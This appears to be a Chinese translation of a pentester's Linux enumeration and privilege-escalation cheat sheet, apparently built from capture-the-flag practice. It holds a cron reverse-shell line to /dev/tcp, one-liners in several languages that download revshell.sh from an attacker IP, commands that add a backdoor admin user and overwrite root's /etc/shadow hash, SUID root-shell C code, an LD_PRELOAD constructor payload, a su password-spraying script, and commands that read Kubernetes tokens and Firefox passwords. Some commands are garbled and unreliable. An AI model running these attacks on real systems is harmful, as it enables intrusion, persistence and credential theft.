笔记说明: 该笔记是国外进攻性爱好者 h4rithd 在 gitbook 上记录的备忘笔记,我整体翻译了注释的内容,并根据个人打靶学习情况,增加或删除了一部分内容,至此放置博客上留作后续复习使用,以及方便各位浏览到我博客的安全爱好者参考使用。
01.常用枚举 大部分命令摘自: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
01.1 操作系统枚举 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 # cat /etc/*-release cat /proc/version lsb_release -a hostnamectl# cat /etc/krb5.conf kinit -k host/$(hostname -f) realm list | grep active-directory adcli testjoin# uname -a uname --kernel-name --kernel-release --machine# sudo -V 2>/dev/null | grep "Sudo ver"# (df -h || lsblk) 2>/dev/null# (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null # (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "/ /|/null | proc proc |/dev/console" # busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator# cat /proc/sys/kernel/randomize_va_space 2>/dev/null# systemd-detect-virt grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor# find / -type s 2>/dev/null# getcap -r / 2>/dev/null# sudo setcap cap_net_bind_service=+ep $(readlink -f /usr/bin/python3)# cat /proc/1/environ# find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null# find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" 2>/dev/null curl -s --unix-socket <socket_path> http://localhost/info# # cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null # cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null # ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null
01.2 用户枚举 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # (id || (whoami && groups)) 2>/dev/null# sudo -l# cat /etc/passwd | grep sh$ | awk -F: '{print $1}'# awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null# grep "sh$" /etc/passwd 2>/dev/null | sort # # (w || who || finger || users) 2>/dev/null# (last -Faiw || last) 2>/dev/null | tail lastlog 2>/dev/null | grep -v "Never"# grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null # echo "h4rithd" | passwd --stdin <user># useradd -p $(openssl passwd -1 h4rithd) -m newadmin --groups sudo # sudo groupadd -g 2017 dummy sudo useradd dummy -u 2017 -g 2017 -s /bin/bash
01.3 进程枚举 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # ps -auxw | less -w (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | grep --color=always -z root # ps -ef | grep $(whoami) | less -w# ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " # grep "CRON" /var/log/cron.log cat /etc/crontab ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null # ls -al /var/spool/cron/crontabs/# * * * * * root bash -c 'bash -i >& /dev/tcp/<IP>/<Port> 0>&1'# watch -n 1 'systemctl list-timers' systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" # find /etc | grep <ACTIVATES>
01.4 网络枚举 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 # ifconfig ip -c -a -h addrbash cat /proc/net/fib_trie | grep '|--'# arp -n cat /proc/net/arp# fuser -k 4444/tcp# netstat -anlp | grep LIST (netstat -punta || ss -nltpu || netstat -anv) 2>/dev/null | grep -i listen# ps -ef | grep <PID># cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null # netstat -rn 2>/dev/null (route || ip n || cat /proc/net/route) 2>/dev/null (arp -e || arp -a || cat /proc/net/arp) 2>/dev/null# ip a | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\." # cat /proc/net/tcp | awk '{print $1,$2,$3,$4}'# # # # # # # # # # !/usr/bin/perl my $hexip=$ARGV[0]; my $hexport=$ARGV[1]; print "hex: $hexip\n"; my @ip = map hex($_), ( $hexip =~ m/../g ); my $ip = join('.',reverse(@ip)); my $port = hex($hexport); print "IP: $ip PORT: $port\n"; # sudo tcpdump -i any -w /tmp/capture.pcap -v sudo tcpdump -i any -w /tmp/capture.pcap -v -s0 sudo tcpdump -i any -w /tmp/capture.pcap -v icmp sudo tcpdump -i any -w /tmp/capture.pcap -v port 21 sudo tcpdump -i any -w /tmp/capture.pcap -v not port 22 sudo tcpdump -i any -w /tmp/capture.pcap -v -s0 -nn port 80
1 2 3 4 5 6 7 8 9 10 11 12 # # sudo tcpdump -i tun0 tcp[13]==2# nc -nzv -w 1 <MyIP> 1-1000# git clone https://github.com/trustedsec/egressbuster.git && cd egressbuster# python3 egress_listener.py <your_local_ip> <interface_for_listener> 0.0.0.0/0 # python3 egressbuster.py <your_local_ip> 1-65536
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # # iptables -L# ls /etc/iptables/# cat ls /etc/iptables/rules.v4# cat ls /etc/iptables/rules.v6# iptables-save > /dev/shm/fbashirewall.rules iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEP# find /etc/authpf /etc/authpf/authpf.conf /etc/authpf/authpf.rules
01.5 文件/目录枚举
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # ls -laSrh # sort by size ls -lacrh # sort by change time ls -laurh # sort by access time ls -laRh # recursive ls ls -latrh # sort by date# lsattr <DirectoryName># getfacl <DirectoryName># find . -type f -ls 2>/dev/null# find . -ls -type f 2>/dev/null# find -type f -exec wc -l {} \; 2>/dev/null | sort -nr# cat ~/.*history | less# find $1 -type f -exec stat --format '%Y :%y %n' "{}" \; | sort -nr | cut -d: -f2- | head find $1 -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head
1 2 3 4 5 6 7 8 # # find / -perm -4000 -ls 2>/dev/null# find / -perm -4000 -printf "%T@\t%Tc %6k KiB %p\n" 2>/dev/null | sort -n | cut -f 2- # find / -perm -2000 -ls 2>/dev/null
1 2 3 4 export GREP_COLOR='1;37;41' grep --color=always -RiE '(password|pwd|pass)' . --exclude=\*.{css,js,md} 2>/dev/null grep --color=always -RiE '(password|pwd|pass)[[:space:]]*=[[:space:]]*[[:alpha:]]+' * 2>/dev/null grep --color=always -Rnw '/' -ie "PASSWORD\|PASSWD" –color=always 2>/dev/null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 # find / -user $(whoami) -ls 2>/dev/null find / -group $(groups) -ls 2>/dev/null# for i in $(groups);do find / -group $i -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys';done# find / -user $(whoami) -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys' find / -group $(groups) -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys'# find / -writable -type d -ls 2>/dev/null find / -perm -222 -type d -ls 2>/dev/null find / -perm -o w -type d -ls 2>/dev/null# find / -perm -o x -type d -ls 2>/dev/null# find / -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "/sys\|/boot\|/var\|/etc/\|/run" # find . -type f -printf "%f\t%p\t%u\t%g\t%m\n" 2>/dev/null | column -t# find / -mtime 10 -ls 2>/dev/null# find / -atime 10 -ls 2>/dev/null# find / -cmin -60 -ls 2>/dev/null# find / -amin -60 -ls 2>/dev/null # for i in /usr/sbin /usr/bin /sbin /bin; do ls -la --time-style=full $i | grep -v '000000000\|->' ; done # find / -newermt "2021-11-21" ! -newermt "2021-12-21" -ls 2>/dev/null# grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null grep --color=auto -rnw '/etc' -ie "PASSWORD" --color=always 2> /dev/null grep --color=auto -rnw '/etc' -ie "USERNAME" --color=always 2> /dev/null# ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_rsa_key.pub ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ecdsa_key.pub
1 strace /path/to/file 2>&1 | grep -iE "open|access|no such file"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # strings /path/to/file strace -v -f -e execve /path/to/file 2>&1 | grep exec ltrace /path/to/file# int main() { setuid(0); system("/bin/bash -p"); }# PATH=.:$PATH /path/to/file# strace -v -f -e execve /path/to/file 2>&1 function /path/to/service { /bin/bash -p; } export -f /path/to/service /path/to/file
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # aureport aureport --help aureport --tty cat /var/log/auth.* | grep "Failed password" cat /var/log/auth.* | grep -oE "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort | uniq -c cat /var/log/auth.* | grep "password" | grep -v 'Failed\|Invalid' cat /var/log/auth.* | grep -i 'root\|user\|usern\|passw\|pass\|`$(whoami)`' | awk -F: '{print $5}' | sort | uniq -c cat /var/log/syslog* | grep -i 'root\|user\|`$(whoami)`\|cron' |awk -F: '{print $5}' | sort | uniq -c awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(ip in ips){print ip, ips[ip]}}' /var/log/auth.* | sort -k2 -rn awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(user in users){print user, users[user]}}' /var/log/auth.* | sort -k2 -rn # sed -n 's/.*username=\([^&]*\).*password=\([^&]*\).*/\1:\2/p' logfile.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # sudo apt-get install foremost mkdir /tmp/recov sudo foremost -q -v -i /dev/sda1 -t <jpeg,txt,..> -o /tmp/recov# -v - 详细模式。将所有消息记录到屏幕 # -q - 启用快速模式。在512字节的边界上执行搜索。 # -t - 指定文件类型。(-t jpeg、pdf…) # -d - 启用间接块检测(对于UNIX文件系统) # -i - 指定输入文件(默认为stdin) # -o - 设置输出目录(默认为输出) # -Q - 启用安静模式。抑制输出消息。 # lsof | grep -i deletedFile.txt
解密 Mozilla Firefox 受保护的密码
1 2 3 git clone https://gi thub.com/lclevy/ firepwd.git python firepwd.py -d /c/ Users/..../ Profiles/
1 2 ln -s ../../../../../../etc/passwd document.pdf zip expo.zip document.pdf
01.6 软件/包枚举 1 2 3 4 5 6 7 8 # dpkg -l# dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/" # mysql --version 2>/dev/null
01.7 活动目录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # cat /etc/krb5.conf# find / -name *.keytab 2>/dev/null# kinit <User>@<Domain> -k -t domain.keytab# klist# kvno cifs\/OPS-ChildDC
01.8 其他
通过替换文件更改root密码/etc/shadow
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # openssl passwd -6 -salt h4rithd h4rithd123# # # # # $ 6$h4rithd$SjZ3XkShHfK9x1Rpn9RhhDH030H4cy .igvwhXGoAb93wEUM9AGR5fjR6ms/oqCqhkopN9Wj/ORX/SlUoaypYI0 sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1PASSWORD\3/g' /etc/shadow# sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1$6$\/dij\/aLbpn4NJrUW$iNXC\/blQ8FP6.kgZmpazax0RNiKBRRVwTuH5e2UFaYUQo8XOKb9aQU8hM7.e2I3omzD4Mp4XRHHzk0B2txbBW\/\3/g' /etc/shadow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 # wget https://10.10.14.25/revshell.sh -O /tmp/revshell.sh# curl -o /tmp/revshell.sh https://10.10.14.25/revshell.sh# # openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem # openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/revshell.sh# openssl s_client -connect 10.10.14.25:80 -quiet > revshell.sh# # exec 3<>/dev/tcp/10.10.10.32/80# echo -e "GET /revshell.sh HTTP/1.1\n\n">&3# cat <&3# # php -r '$file = file_get_contents("https://10.10.14.25/revshell.sh"); file_put_contents("revshell.sh",$file);' # php -r 'const BUFFER = 1024; $fremote = fopen("https://10.10.14.25/revshell.sh", "rb"); $flocal = fopen("revshell.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);' # # import urllib urllib.urlretrieve ("https://10.10.14.25/revshell.sh", "revshell.sh")# import urllib.request urllib.request.urlretrieve("https://10.10.14.25/revshell.sh", "revshell.sh")# ruby -e 'require "net/http"; File.write("revshell.sh", Net::HTTP.get(URI.parse("https://10.10.14.25/revshell.sh")))'# perl -e 'use LWP::Simple; getstore("https://10.10.14.25/revshell.sh", "revshell.sh");'
1 2 3 4 5 6 7 # ------------------| Mount sudo cryptsetup luksOpen backup.img backup sudo mount /dev/mapper/backup /mnt/ # ------------------| Unmount sudo umount -l /mnt/ sudo cryptsetup luksClose backup
1 2 3 4 5 6 # ------------------| Find so file find / 2>/dev/null | grep wordle find /{usr,etc} -type f -printf "%T+ %p\n" 2>/dev/null | grep -v '000'| grep so$# ------------------| Find words strings <file>
02.命令和脚本 02.1 命令
1 2 3 4 5 6 7 8 9 10 11 12 13 # ------------------| On Linux machine # sudo sysctl -a | grep ip_forward # sudo echo "1" > /proc/sys/net/ipv4/ip_forward# sudo iptables -A FORWARD -i tun0 -o eth0 -m state RELATED,ESTABLISHED -j ACCEPT sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT sudo iptables -t nat -A POSTROUTING -s <eth0IP>/24 -o tun0 -j MASQUERADE# ------------------| On Windows machine rout add 10.10.10.0 mask 255.255.254.0 <linuxBox_eth0IP> ping 10.10.10.2
1 2 3 4 5 6 7 8 9 10 11 12 sudo chmod u+s /bin/bash sudo chmod u+s /bin/dash sudo chmod 4755 $(which dash) sudo cp /bin/dash /tmp/dash sudo chmod 4555 /tmp/dash sudo chown root /tmp/dash /tmp/dash -p sudo chmod 4755 $(readlink $(which vi))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # scp <source> <destination># You can use /* to copy all # scp /path/to/file username@a:/path/to/destination# scp username@b:/path/to/file /path/to/destination# sudo apt-get install sshfs# mkdir /tmp/testdir # sshfs user@server.com:/remote/dir /tmp/testdir # fusermount -u /home/user/testdir umount mountpoint diskutil unmount mountpoint
02.2 端口敲门 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # ls /etc/init.d/ | grep knock# /etc/default/knockd /etc/knockd.conf# [openSSH] sequence = 571, 290, 911 seq_timeout = 5 start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn# for i in 571 290 911; do nmap -Pn -p $i --host-timeout 201 --max-retries 0 10.10.10.43 ; done
02.3 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 # !/bin/bash spray() { users=$(awk -F: '{ if ($NF ~ /sh$/) print $1 }' /etc/passwd) for user in $users; do echo "$1" |timeout 2 su $user -c whoami 2>/dev/null if [[ $? -eq 0 ]]; then exit fi done } spray $1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // gcc -o sroot sroot.c int main(void) { setuid(0); setgid(0); printf("\n-----| by h4rithd.com |-----\n\n"); system("/bin/bash -p"); } // chown root:root /tmp/sroot; chmod 4755 /tmp/sroot // or chmod u+s /bin/bash // SUID = 4xxx filename // SGID = 2xxx filename // Both = 6xxx filename // for i in {1..100}; do ls -al /tmp/sroot;date ;sleep .2; done // watch -n 2 -d ls -l .
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # !/bin/bash IFS=$'\n' # Loop by line old_process=$(ps -eo command) while true; do new_process=$(ps -eo command) diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>] sleep 1 old_process=$new_process done# nano prcmon.sh # chmod +x prcmon.sh; ./prcmon.sh
1 for i in {1..100}; do ls -al /tmp/sroot;date ;sleep 5; done
1 for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
1 2 3 4 5 6 7 8 9 10 11 12 # !/bin/bash ip=172.20.0 for i in $(seq 2 255); do ping -c 1 -W 1 $ip.$i 1>/dev/null 2>&1 if [[ $? -eq 0 ]]; then echo "[+] $ip.$i - is Alive!" fi done
1 for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
1 2 3 4 5 6 7 8 9 10 # !/bin/bash ip=127.0.0.1 for port in $(seq 1 65535); do timeout .1 bash -c "echo > /dev/tcp/$ip/$port" && echo "[+] $ip : $port - is Open!" done echo "==========[ Finished ]============"
1 2 3 4 5 6 7 8 9 10 # include <stdio.h> # include <stdlib.h> static void inject() __attribute__((constructor)); void inject() { system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); }#
02.4 网络服务器 1 2 3 4 5 6 7 8 9 10 11 12 # python2 -m SimpleHTTPServer 8080 python3 -m http.server 8080# ruby -run -ehttpd . -p8080# php -S 0.0.0.0:8080# socat TCP-LISTEN:8080,reuseaddr,fork
02.5 Sed命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 # sed -z 's/\n//g' filename# sed '1 i addthisword' filename# sed 's/^..//' filename# sed 's/.$//g' filename# sed '$d' file# sed '2d' file# sed '2,4d' file# sed '1!d' file# sed '$!d' file# sed '2,4!d' file# sed '1d;$d' file# sed '/^$/d' file# sed '/^u/d' file# sed '/x$/d' file# sed '/debian/d' file